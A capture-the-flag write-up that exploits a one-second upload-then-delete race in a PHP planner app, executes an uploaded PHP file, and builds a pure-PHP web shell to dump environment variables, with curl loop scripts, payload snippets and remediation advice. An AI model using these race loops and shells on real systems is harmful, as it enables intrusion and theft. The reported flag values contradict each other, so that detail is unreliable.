Planner
TL;DR
We abused a race condition in upload.php that saves an uploaded file, sleeps 1s, then deletes it. By hammering GET /uploads/shell.php during that 1-second window, our PHP executed even though the file was later deleted. Because OS command functions were disabled and open_basedir restricted, we pivoted to a pure-PHP “cmd shell” and grabbed the flag from environment variables:
Flag: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}
Target Overview
- App: Planner portal with task input + “Import ToDo List”
- Key endpoints:
planning.php(UI + AJAX upload)
upload.php(file upload & “scan”)
- Environment (observed):
- PHP disables:
exec,shell_exec,system,passthru,popen,proc_open
open_basedir = /var/www/why2025planner:/tmp
Access-Control-Allow-Origin: *(overly permissive CORS)
- PHP disables:
Vulnerabilities Identified
- Race condition / TOCTOU in upload handler
upload.phpdoes:move_uploaded_file()→sleep(1)→unlink().
- For ~1 second the file exists and is web-reachable under
/uploads/<name>.
- Executable uploads
- Uploaded
.phpfiles are stored in a web-served directory (/uploads) and are executed by PHP if hit before deletion.
- Uploaded
- Information disclosure
- Upload responses echo absolute paths (e.g.,
/var/www/why2025planner/uploads/...).
- Upload responses echo absolute paths (e.g.,
- Front-end JSON parsing bug (minor)
- Splits by regex
/{[^}]+}/g; filenames containing}break the UI (“Invalid JSON”).
- Not required for exploitation, but indicates weak client-side parsing.
- Splits by regex
- Defense-in-depth present but bypassed
disable_functionsandopen_basedirblocked OS commands but did not stop PHP code execution or environment access.
Exploitation Walkthrough
1) Recon the upload flow
Testing .txt/.md/.json/.csv/.zip all returned:
{"status":"Started","message":"Checking file /var/www/why2025planner/uploads/<file>"}
{"status":"deleted","message":"File deleted after scan. Wrong type!"}This revealed the save path and that a file exists briefly before deletion.
2) Race to code execution
We uploaded a tiny PHP with a clear execution marker:
<?php echo "HIT:".md5(1337)."\n";Terminal A (spam upload):
while true; do
curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
-H 'Cookie: PHPSESSID=YOURSESSID' \
-F 'file=@./shell.php;filename=shell.php;type=application/x-php' >/dev/null
doneTerminal B (race the GET):
while true; do
curl -s https://why2025planning.ctf.zone/uploads/shell.php | grep HIT && echo "[*] GOT IT" && break
doneWe observed:
HIT:e48e13207341b6bffb7fb1622282247b
[*] GOT IT→ PHP executed before the file was deleted.
3) Pivot: Pure-PHP operations (no OS exec)
whoami etc. produced no output because PHP had exec/shell_exec/system/... disabled and open_basedir restricted.
We then moved to a file-oriented PHP shell: listing directories and reading files using scandir() / file_get_contents().
We looted:
/var/www/why2025planner/{upload.php,planning.php,init_db.php,...}
- SQLite DB at
db/db.sqlite(contained only a decoyflag{lol})
4) Build a practical “cmd shell” (still pure PHP)
To make it easy for the team to use via URL params, we uploaded cmd.php with command-like actions that don’t rely on OS exec:
?cmd=ls&path=/dir→ list directory (viascandir)
?cmd=cat&path=/file→ read file (base64-safe)
?cmd=env→ dump environment variables (viagetenv)
?cmd=ln&src=/target&dst=/var/www/.../uploads/x→ (optional) symlink helper
?cmd=sh&arg=id→ best-effort OS exec (tries many paths; expected to fail here)
Example:
https://why2025planning.ctf.zone/uploads/cmd.php?cmd=envOutput (key line):
flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}Here, the flag is the environment variable’s name (value empty). This is a common pattern in CTF containers that set the flag via env.
Note: We also considered a symlink escape (/uploads → /) to read /proc/self/environ via Apache, but it wasn’t necessary since ?cmd=env gave it directly.
Root Cause Summary
- Design flaw: Storing user uploads under a web-served path and sleeping before deleting → trivial race window for executing uploaded code.
- Insufficient server-side validation: No type/extension enforcement (or at least not before the code becomes accessible).
- Excessive information in responses: Leaked absolute paths.
- Client-side parsing bug: Regex-based JSON splitting can be abused to break UI (less critical).
- Defense-in-depth only partial:
disable_functions/open_basedirdidn’t prevent PHP-level exploitation and env leakage.
Remediation Recommendations
- Never serve uploads directly from a PHP-interpreted path.
- Store outside webroot; serve downloads through a safe handler.
- If must be web-served, ensure the web server does not parse PHP in that directory (
php_admin_flag engine off/ handler rules).
- Validate before storing and avoid time windows.
- Stream to a quarantine directory not reachable by the web server.
- Scan, then move to a safe storage location if clean.
- Remove the 1-second
sleep()and never expose a window where untrusted files are reachable.
- Tighten server responses
- Don’t echo absolute paths; use opaque IDs.
- Fix front-end JSON parsing
- Return a proper JSON array; don’t regex-split concatenated JSON.
- CORS
- Avoid
Access-Control-Allow-Origin: *unless strictly necessary; use specific origins and avoid exposing session-based endpoints cross-origin.
- Avoid
Artifacts / PoC Snippets
Race upload loop
while true; do
curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
-H 'Cookie: PHPSESSID=YOURSESSID' \
-F 'file=@./cmd.php;filename=cmd.php;type=application/x-php' >/dev/null
doneConfirm execution & dump env
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=env'
# -> shows: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}=List files (pure PHP “ls”)
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=ls&path=/var/www/why2025planner'Read file (pure PHP “cat”)
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=cat&path=/var/www/why2025planner/planning.php'Lessons Learned
- Even with
disable_functionsandopen_basedir, code execution is still code execution—you can pivot to PHP-native capabilities (file read, env, DB) and win.
- Never trust a “temporary” upload window: if it’s web-reachable at any moment, assume an attacker can hit it.
- Flags in CTF web challenges are frequently delivered via environment variables—always check
getenv()or/proc/self/environ.
Final result: Flag recovered via ?cmd=env from a pure-PHP command shim, exploiting a race in upload.php.
flag{5a593f66535c10f2291a8dcb8e88bfbb}